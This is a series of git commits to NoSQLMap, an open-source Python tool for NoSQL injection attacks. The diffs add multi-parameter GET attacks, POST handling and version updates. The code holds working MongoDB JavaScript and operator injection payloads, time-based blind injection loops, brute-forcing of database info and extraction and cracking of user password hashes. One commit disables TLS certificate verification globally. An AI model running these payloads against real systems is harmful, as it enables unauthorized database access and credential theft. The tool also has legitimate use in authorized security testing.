select == "6": + httpMethod = True + while httpMethod == True: + + print "1-Send request as a GET" + print "2-Send request as a POST" + httpMethod = raw_input("Select an option: ") + + if httpMethod == "1": + httpMethod = "GET" + print "GET request set" + requestHeaders = {} + optionSet[3] = True + + elif httpMethod == "2": + print "POST request set" + optionSet[3] = True + postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") + pdArray = postDataIn.split(",") + paramNames = pdArray[0::2] + paramValues = pdArray[1::2] + postData = dict(zip(paramNames,paramValues)) + httpMethod = "POST" + + else: + print "Invalid selection" + + elif select == "7": + #Unset the setting boolean since we're setting it again. + optionSet[4] = False + + while optionSet[4] == False: + goodLen = False + goodDigits = True + #Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug + #For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False + #Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables + myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ") + #make sure we got a valid IP + octets = myIP.split(".") + #If there aren't 4 octets, toss an error. + if len(octets) != 4: + print "Invalid IP length." + + else: + goodLen = True + + if goodLen == True: + #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. + for item in octets: + if int(item) < 0 or int(item) > 255: + print "Bad octet in IP address." + goodDigits = False + +# else: +# goodDigits = True + #Default value of goodDigits should be set to True + #for example 12.12345.12.12 + + + #If everything checks out set the IP and break the loop + if goodLen == True and goodDigits == True: + print "\nShell/DB listener set to " + myIP + "\n" + optionSet[4] = True + + elif select == "8": + myPort = raw_input("Enter TCP listener for shells: ") + print "Shell TCP listener set to " + myPort + "\n" + optionSet[5] = True + + elif select == "9": + if verb == "OFF": + print "Verbose output enabled." + verb = "ON" + optionSet[6] = True + + elif verb == "ON": + print "Verbose output disabled." + verb = "OFF" + optionSet[6] = True + + elif select == "0": + loadPath = raw_input("Enter file name to load: ") + try: + fo = open(loadPath,"r" ) + csvOpt = fo.readlines() + fo.close() + optList = csvOpt[0].split(",") + victim = optList[0] + webPort = optList[1] + uri = optList[2] + httpMethod = optList[3] + myIP = optList[4] + myPort = optList[5] + verb = optList[6] + https = optList[7] + + if httpMethod == "POST": + postData = ast.literal_eval(csvOpt[1]) + + #Set option checking array based on what was loaded + x = 0 + for item in optList: + if item != "Not Set": + optionSet[x] = True + x += 1 + except: + print "Couldn't load options file!" + + elif select == "a": + loadPath = raw_input("Enter path to Burp request file: ") + + try: + fo = open(loadPath,"r") + reqData = fo.readlines() + + except: + raw_input("error reading file. Press enter to continue...") + return + + methodPath = reqData[0].split(" ") + + if methodPath[0] == "GET": + httpMethod = "GET" + + elif methodPath[0] == "POST": + paramNames = [] + paramValues = [] + httpMethod = "POST" + postData = reqData[len(reqData)-1] + #split the POST parameters up into individual items + paramsNvalues = postData.split("&") + + for item in paramsNvalues: + tempList = item.split("=") + paramNames.append(tempList[0]) + paramValues.append(tempList[1]) + + postData = dict(zip(paramNames,paramValues)) + + else: + print "unsupported method in request header." + + victim = reqData[1].split( " ")[1].replace("\r\n","") + optionSet[0] = True + uri = methodPath[1].replace("\r\n","") + optionSet[2] = True + + elif select == "b": + savePath = raw_input("Enter file name to save: ") + try: + fo = open(savePath, "wb") + fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) + + if httpMethod == "POST": + fo.write(",\n"+ str(postData)) + fo.write(",\n" + str(requestHeaders) ) + fo.close() + print "Options file saved!" + except: + print "Couldn't save options file." + + elif select == "h": + reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") + reqHeadersArray = reqHeadersIn.split(",") + headerNames = reqHeadersArray[0::2] + headerValues = reqHeadersArray[1::2] + requestHeaders = dict(zip(headerNames, headerValues)) + + elif select == "x": + return + + +def signal_handler(signal, frame): + print "\n" + print "CTRL+C detected. Exiting." + sys.exit() + +if __name__ == '__main__': + main() diff --git a/nsmweb.py b/nsmweb.py index 2881f82..c8cb075 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -6,7 +6,7 @@ import itertools import re -def getApps(): +def getApps(victim,webPort,uri,https,verb): print "Web App Attacks (GET)" print "===============" paramName = [] @@ -46,9 +46,9 @@ def getApps(): if appRespCode == 200: normLength = int(len(urllib2.urlopen(req).read())) timeReq = urllib2.urlopen(req) - start = 4:05 PM.time() + start = time.time() page = timeReq.read() - end = 4:05 PM.time() + end = time.time() timeReq.close() timeBase = round((end - start), 3) @@ -260,10 +260,10 @@ def getApps(): print "Starting Javascript integer escape time based injection..." req = urllib2.Request(uriArray[9], None, requestHeaders) - start = 4:05 PM.time() + start = time.time() intTimeInj = urllib2.urlopen(req) page = intTimeInj.read() - end = 4:05 PM.time() + end = time.time() intTimeInj.close() #print str(end) #print str(start) @@ -371,9 +371,9 @@ def postApps(): normLength = int(len(urllib2.urlopen(req).read())) timeReq = urllib2.urlopen(req) - start = 4:05 PM.time() + start = time.time() page = timeReq.read() - end = 4:05 PM.time() + end = time.time() timeReq.close() timeBase = round((end - start), 3) @@ -609,9 +609,9 @@ def postApps(): postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"}) body = urllib.urlencode(postData) conn = urllib2.urlopen(req,body) - start = 4:05 PM.time() + start = time.time() page = conn.read() - end = 4:05 PM.time() + end = time.time() conn.close() print str(end) print str(start) @@ -629,10 +629,10 @@ def postApps(): postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"}) body = urllib.urlencode(postData) - start = 4:05 PM.time() + start = time.time() conn = urllib2.urlopen(req,body) page = conn.read() - end = 4:05 PM.time() + end = time.time() conn.close() print str(end) print str(start) From 68115900cab926a588d965411182598ae3ffe2b0 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 25 Jun 2016 19:51:26 -0500 Subject: [PATCH 120/207] Features and Bugfixes Add multi parameter GET attacks. Fix a couple of bugs around URL generation. --- nosqlmap.py | 16 ++++++--- nsmweb.py | 94 +++++++++++++++++++++++++++++++++-------------------- 2 files changed, 70 insertions(+), 40 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index a1a8c20..c90fe26 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -55,7 +55,13 @@ def mainMenu(): global victim global dbPort global myIP - global myPort + global webPort + global uri + global httpMethod + global https + global verb + global requestHeaders + global postData mmSelect = True while mmSelect: @@ -100,10 +106,10 @@ def mainMenu(): #Check minimum required options if (optionSet[0] == True) and (optionSet[2] == True): if httpMethod == "GET": - nsmweb.getApps() + nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders) - else: - nsmweb.postApps() + elif httpMethod == "POST": + nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders) else: raw_input("Options not set! Check host and URI path. Press enter to continue...") @@ -130,6 +136,7 @@ def platSel(): global dbPort select = True print "\n" + while select: print "1-MongoDB" print "2-CouchDB" @@ -145,7 +152,6 @@ def platSel(): dbPort = 5984 return else: - psel = True raw_input("Invalid selection. Press enter to continue.") def options(): diff --git a/nsmweb.py b/nsmweb.py index c8cb075..d960ea8 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -1,16 +1,30 @@ -import httplib2 import urllib import urllib2 -import json +import string +import nsmmongo +from sys import version_info import datetime -import itertools -import re +import time +import random -def getApps(victim,webPort,uri,https,verb): +def httpRequestor (httpReq): + #Need to determine version of Python that's running to figure out how to handle self-signed certs. + if version_info() >= (2,7,9): + import ssl + ssl._create_default_https_context = ssl._create_unverified_context + + + + + + +def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Web App Attacks (GET)" print "===============" paramName = [] global testNum + global httpMethod + httpMethod = "GET" testNum = 1 paramValue = [] global vulnAddrs @@ -19,6 +33,8 @@ def getApps(victim,webPort,uri,https,verb): possAddrs = [] timeVulnsStr = [] timeVulnsInt = [] + yes_tag = ['y', 'Y'] + no_tag = ['n', 'N'] appUp = False strTbAttack = False intTbAttack = False @@ -30,7 +46,6 @@ def getApps(victim,webPort,uri,https,verb): str24 = False global int24 int24 = False - global requestHeaders #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." @@ -107,7 +122,7 @@ def getApps(victim,webPort,uri,https,verb): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 else: testNum += 1 @@ -125,7 +140,7 @@ def getApps(victim,webPort,uri,https,verb): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 else: @@ -144,7 +159,7 @@ def getApps(victim,webPort,uri,https,verb): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum +=1 else: @@ -163,7 +178,7 @@ def getApps(victim,webPort,uri,https,verb): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 else: testNum += 1 @@ -180,7 +195,7 @@ def getApps(victim,webPort,uri,https,verb): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum +=1 else: @@ -198,7 +213,7 @@ def getApps(victim,webPort,uri,https,verb): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 else: testNum += 1 @@ -215,7 +230,7 @@ def getApps(victim,webPort,uri,https,verb): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 else: testNum += 1 @@ -233,18 +248,19 @@ def getApps(victim,webPort,uri,https,verb): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 + doTimeAttack = raw_input("Start timing based tests (y/n)? ") if doTimeAttack in yes_tag: print "Starting Javascript string escape time based injection..." req = urllib2.Request(uriArray[18], None, requestHeaders) - start = 4:05 PM.time() + start = time.time() strTimeInj = urllib2.urlopen(req) page = strTimeInj.read() - end = 4:05 PM.time() + end = time.time() strTimeInj.close() #print str(end) #print str(start) @@ -331,12 +347,14 @@ def getApps(victim,webPort,uri,https,verb): raw_input("Press enter to continue...") return() -def postApps(): +def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): print "Web App Attacks (POST)" print "===============" paramName = [] paramValue = [] global vulnAddrs + global httpMethod + httpMethod = "POST" vulnAddrs = [] global possAddrs possAddrs = [] @@ -347,10 +365,8 @@ def postApps(): intTbAttack = False trueStr = False trueInt = False - global postData global neDict global gtDict - global requestHeaders testNum = 1 #Verify app is working. @@ -447,7 +463,7 @@ def postApps(): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 else: @@ -474,7 +490,7 @@ def postApps(): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) @@ -491,7 +507,7 @@ def postApps(): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 else: testNum += 1 @@ -511,7 +527,7 @@ def postApps(): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 else: testNum += 1 @@ -532,7 +548,7 @@ def postApps(): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 else: @@ -553,7 +569,7 @@ def postApps(): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 else: @@ -575,7 +591,7 @@ def postApps(): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 print "\n" else: @@ -595,7 +611,7 @@ def postApps(): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) + checkResult(randLength,injLen,testNum,verb) testNum += 1 else: @@ -724,7 +740,7 @@ def errorTest (errorCheck,testNum): -def checkResult(baseSize,respSize,testNum): +def checkResult(baseSize,respSize,testNum,verb): global vulnAddrs global possAddrs global lt24 @@ -834,7 +850,7 @@ def buildUri(origUri, randValue): paramValue = [] global uriArray uriArray = ["","","","","","","","","","","","","","","","","","",""] - injOpt = "" + injOpt = [] #Split the string between the path and parameters, and then split each parameter try: @@ -857,11 +873,17 @@ def buildUri(origUri, randValue): menuItem += 1 try: - injIndex = raw_input("Which parameter should we inject? ") - injOpt = str(paramName[int(injIndex)-1]) - print "Injecting the " + injOpt + " parameter..." + injIndex = raw_input("Enter parameters to inject in a comma separated list: ") - except: + for params in injIndex.split(","): + injOpt.append(paramName[int(params)-1]) + + #injOpt = str(paramName[int(injIndex)-1]) + + for params in injOpt: + print "Injecting the " + params + " parameter..." + + except Exception: raw_input("Something went wrong. Press enter to return to the main menu...") return @@ -887,7 +909,8 @@ def buildUri(origUri, randValue): uriArray[18] = split_uri[0] + "?" for item in paramName: - if paramName[x] == injOpt: + + if paramName[x] in injOpt: uriArray[0] += paramName[x] + "=" + randValue + "&" uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" @@ -933,7 +956,7 @@ def buildUri(origUri, randValue): #Clip the extra & off the end of the URL x = 0 - while x <= 17: + while x <= 18: uriArray[x]= uriArray[x][:-1] x += 1 @@ -941,6 +964,7 @@ def buildUri(origUri, randValue): def getDBInfo(): curLen = 0 + yes_tag = ['y', 'Y'] nameLen = 0 gotFullDb = False gotNameLen = False From 54b36cf9f1fa817dd88cc8e97cd822241c0a5867 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 25 Jun 2016 20:45:10 -0500 Subject: [PATCH 121/207] SSL Self-Signed Certificate Fix --- nsmweb.py | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index d960ea8..ef6dd62 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -7,16 +7,11 @@ import time import random -def httpRequestor (httpReq): - #Need to determine version of Python that's running to figure out how to handle self-signed certs. - if version_info() >= (2,7,9): - import ssl - ssl._create_default_https_context = ssl._create_unverified_context - - - - +#Fix for dealing with self-signed certificates. This is wrong and highly discouraged, but it's a hacking tool, so it's fixed with a hack. Get over it :-) +if version_info >= (2, 7, 9): + import ssl + ssl._create_default_https_context = ssl._create_unverified_context def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Web App Attacks (GET)" From 71bc64ce8768aa770e1c355c07b618a756a110fc Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 25 Jun 2016 20:55:16 -0500 Subject: [PATCH 122/207] Boilerplates and version update --- README.md | 2 +- nosqlmap.py | 4 ++-- nsmcouch.py | 2 +- nsmmongo.py | 2 +- nsmscan.py | 15 +++++++++++++++ nsmweb.py | 15 +++++++++++++++ 6 files changed, 35 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 11510b1..3fe4146 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ NoSQLMap ======== -[NoSQLMap](http://www.nosqlmap.net) v0.5 +[NoSQLMap](http://www.nosqlmap.net) v0.7 Introduction ============ diff --git a/nosqlmap.py b/nosqlmap.py index c90fe26..b17dca8 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,5 +1,5 @@ #!/usr/bin/python -#NoSQLMap Copyright 2014 Russell Butturini +#NoSQLMap Copyright 2016 Russell Butturini #This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by #the Free Software Foundation, either version 3 of the License, or @@ -74,7 +74,7 @@ def mainMenu(): print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" - print "NoSQLMap-v0.6ALPHA" + print "NoSQLMap-v0.7" print "nosqlmap@gmail.com" print "\n" print "1-Set options" diff --git a/nsmcouch.py b/nsmcouch.py index 1a0c525..2a1df20 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -1,5 +1,5 @@ #!/usr/bin/python -#NoSQLMap Copyright 2014 Russell Butturini +#NoSQLMap Copyright 2016 Russell Butturini #This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by #the Free Software Foundation, either version 3 of the License, or diff --git a/nsmmongo.py b/nsmmongo.py index 638c97d..686b018 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -1,5 +1,5 @@ #!/usr/bin/python -#NoSQLMap Copyright 2014 Russell Butturini +#NoSQLMap Copyright 2016 Russell Butturini #This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by #the Free Software Foundation, either version 3 of the License, or diff --git a/nsmscan.py b/nsmscan.py index a5f05c6..b287a0b 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -1,3 +1,18 @@ +#!/usr/bin/python +#NoSQLMap Copyright 2016 Russell Butturini +#This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +#the Free Software Foundation, either version 3 of the License, or +#(at your option) any later version. + +#This program is distributed in the hope that it will be useful, +#but WITHOUT ANY WARRANTY; without even the implied warranty of +#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +#GNU General Public License for more details. + +#You should have received a copy of the GNU General Public License +#along with this program. If not, see . + import ipcalc import nsmmongo import nsmcouch diff --git a/nsmweb.py b/nsmweb.py index ef6dd62..d537c12 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -1,3 +1,18 @@ +#!/usr/bin/python +#NoSQLMap Copyright 2016 Russell Butturini +#This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +#the Free Software Foundation, either version 3 of the License, or +#(at your option) any later version. + +#This program is distributed in the hope that it will be useful, +#but WITHOUT ANY WARRANTY; without even the implied warranty of +#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +#GNU General Public License for more details. + +#You should have received a copy of the GNU General Public License +#along with this program. If not, see . + import urllib import urllib2 import string From eeaba028f87ec9b61b3be21473aea43b8b7df539 Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 30 Jun 2016 20:49:41 -0500 Subject: [PATCH 123/207] Fix bug causing POST testing to fail --- nsmweb.py | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index d537c12..9d6782c 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -132,7 +132,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: testNum += 1 @@ -150,7 +150,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -169,7 +169,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,None) testNum +=1 else: @@ -188,7 +188,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: testNum += 1 @@ -205,7 +205,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,None) testNum +=1 else: @@ -223,7 +223,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: testNum += 1 @@ -240,7 +240,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: testNum += 1 @@ -258,7 +258,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,None) testNum += 1 @@ -473,7 +473,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: @@ -500,7 +500,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) @@ -517,7 +517,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: testNum += 1 @@ -537,7 +537,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: testNum += 1 @@ -558,7 +558,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: @@ -579,7 +579,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: @@ -601,7 +601,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 print "\n" else: @@ -621,7 +621,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum,verb) + checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: @@ -750,7 +750,7 @@ def errorTest (errorCheck,testNum): -def checkResult(baseSize,respSize,testNum,verb): +def checkResult(baseSize,respSize,testNum,verb,postData): global vulnAddrs global possAddrs global lt24 From 9d7d4b695b5412daa9e8cf2c7cfb03ef7f082ec3 Mon Sep 17 00:00:00 2001 From: tcstool Date: Fri, 1 Jul 2016 05:52:44 -0500 Subject: [PATCH 124/207] Fix issue with postData variable --- nsmweb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nsmweb.py b/nsmweb.py index 9d6782c..21f9013 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -759,7 +759,7 @@ def checkResult(baseSize,respSize,testNum,verb,postData): global httpMethod global neDict global gtDict - global postData + delta = abs(respSize - baseSize) if (delta >= 100) and (respSize != 0) : From 62c4be556c537ab3fd45bd41cb72d6ac550c4ea9 Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 20 Jul 2016 20:55:24 -0500 Subject: [PATCH 125/207] setup.py corrections --- nsmweb.py | 2 +- setup.py | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 21f9013..548d57d 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -759,7 +759,7 @@ def checkResult(baseSize,respSize,testNum,verb,postData): global httpMethod global neDict global gtDict - + delta = abs(respSize - baseSize) if (delta >= 100) and (respSize != 0) : diff --git a/setup.py b/setup.py index a51fbbc..0d78e7b 100644 --- a/setup.py +++ b/setup.py @@ -4,9 +4,9 @@ with open("README.md") as f: setup( name = "NoSQLMap", - version = "0.5", + version = "0.7", packages = find_packages(), - scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py'], + scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py','nsmscan.py','nsmweb.py'], entry_points = { "console_scripts": [ @@ -18,7 +18,7 @@ "NoSQLMap==0.5", "pbkdf2==1.3", "pymongo==2.7.2",\ "requests==2.5.0"], - author = "tcstools", + author = "tcstool", author_email = "nosqlmap@gmail.com", description = "Automated MongoDB and NoSQL web application exploitation tool", license = "GPLv3", From 2bccf32ab03972650aa9a31ac37468ea714b1695 Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 20 Jul 2016 20:58:25 -0500 Subject: [PATCH 126/207] Installer script fix --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index 0d78e7b..c0d518b 100644 --- a/setup.py +++ b/setup.py @@ -15,7 +15,7 @@ }, install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ - "NoSQLMap==0.5", "pbkdf2==1.3", "pymongo==2.7.2",\ + "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ "requests==2.5.0"], author = "tcstool", From 9ecfd1b03a9567c4d2e40469928288b291d0f587 Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 21 Jul 2016 16:43:37 -0500 Subject: [PATCH 127/207] Remove yes_tag and replace w/string conversion --- nsmweb.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 548d57d..4abd9d7 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -43,8 +43,6 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): possAddrs = [] timeVulnsStr = [] timeVulnsInt = [] - yes_tag = ['y', 'Y'] - no_tag = ['n', 'N'] appUp = False strTbAttack = False intTbAttack = False @@ -264,7 +262,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): doTimeAttack = raw_input("Start timing based tests (y/n)? ") - if doTimeAttack in yes_tag: + if doTimeAttack.lower() == "y": print "Starting Javascript string escape time based injection..." req = urllib2.Request(uriArray[18], None, requestHeaders) start = time.time() @@ -306,7 +304,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if lt24 == True: bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ") - if bfInfo in yes_tag: + if bfInfo.lower == "y": getDBInfo() @@ -330,7 +328,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): fileOut = raw_input("Save results to file (y/n)? ") - if fileOut in yes_tag: + if fileOut.lower() == "y": savePath = raw_input("Enter output file name: ") fo = open(savePath, "wb") fo.write ("Vulnerable URLs:\n") @@ -692,7 +690,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): fileOut = raw_input("Save results to file (y/n)? ") - if fileOut in yes_tag: + if fileOut.lower() == "y": savePath = raw_input("Enter output file name: ") fo = open(savePath, "wb") fo.write ("Vulnerable Requests:\n") @@ -974,7 +972,6 @@ def buildUri(origUri, randValue): def getDBInfo(): curLen = 0 - yes_tag = ['y', 'Y'] nameLen = 0 gotFullDb = False gotNameLen = False @@ -1039,7 +1036,7 @@ def getDBInfo(): getUserInf = raw_input("Get database users and password hashes (y/n)? ") - if getUserInf in yes_tag: + if getUserInf.lower() == "y": charCounter = 0 nameCounter = 0 #find the total number of users on the database @@ -1189,7 +1186,7 @@ def getDBInfo(): pwdHash = "" crackHash = raw_input("Crack recovered hashes (y/n)?: ") - while crackHash in yes_tag: + while crackHash.lower() == "y": menuItem = 1 for user in users: print str(menuItem) + "-" + user From 365997f095a513104af454004c6c5aaa35bd4dd7 Mon Sep 17 00:00:00 2001 From: Mhapankar123 Date: Thu, 13 Oct 2016 08:26:51 +0530 Subject: [PATCH 128/207] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 3fe4146..857ec00 100644 --- a/README.md +++ b/README.md @@ -9,6 +9,7 @@ Introduction NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database. It is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL 